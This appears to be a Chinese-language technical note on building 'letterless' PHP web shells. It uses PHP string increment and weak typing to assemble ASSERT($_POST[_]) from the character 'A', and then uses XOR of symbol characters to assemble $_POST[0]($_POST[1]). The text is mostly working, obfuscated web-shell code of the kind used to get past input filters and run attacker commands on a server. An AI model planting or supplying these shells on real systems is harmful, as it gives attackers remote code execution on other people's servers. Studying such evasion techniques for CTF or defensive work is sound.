Contents

无字母 PHP Shell

Contents

在处理字符变量的算数运算时, PHP 沿袭了 Perl 的习惯. 例如, a = ‘Z’; a++; 将把 $a 变成’AA’, 注意字符变量只能递增, 不能递减, 并且只支持纯字母 (a-z 和 A-Z).

php 弱类型的坑.

参考 P 牛的文章, 自己整理一下.

利用之前介绍的特性.

首先要有一个字母 A, 之后才能通过递增得到其它字母.

由于 php 弱类型的特性, array 转换为 string 时会得到 Array.

1
2
$_ = ''.[];
echo $_; // Array

通过 ! 进行非运算, bool 类型强制转换就会变成 0 or 1.

1
2
3
4
echo ''; //
echo !(''); // 1
echo ('!'=='@') //
echo !('!'=='@'); // 1

获取字符 A.

1
2
$_ = ''.[];
echo $_[''];

之后通过递增获取其它字符.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$_ = ''.[];
$_ = $_[''];
$_; // A
$___ = $_;
$__ = $_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$___ .= $__.$__;
$__ = $_;
$__++;$__++;$__++;$__++; // E
$___ .= $__;
$__ = $_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___ .= $__;
$__ = $_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___ .= $__; // ASSERT
$____ = '_';
$__ = $_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____ .= $__;
$__ = $_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____ .= $__;
$__ = $_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____ .= $__;
$__ = $_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____ .= $__; // _POST

变量覆盖 得到 $_POST.

1
$_ = $$____; // $_POST

拼接.

1
$___($_[_]); // ASSERT($_POST[_])

php 不区分大小写.

在PHP中, 两个变量进行异或时, 会将字符串转换成二进制再进行异或.

两个 foreach 跑出异或结果, 之后拼接.

1
2
3
4
5
6
7
8
9
<?php
@$_++; // 1
$__=("#"^"|"); // _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST 
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1])
?>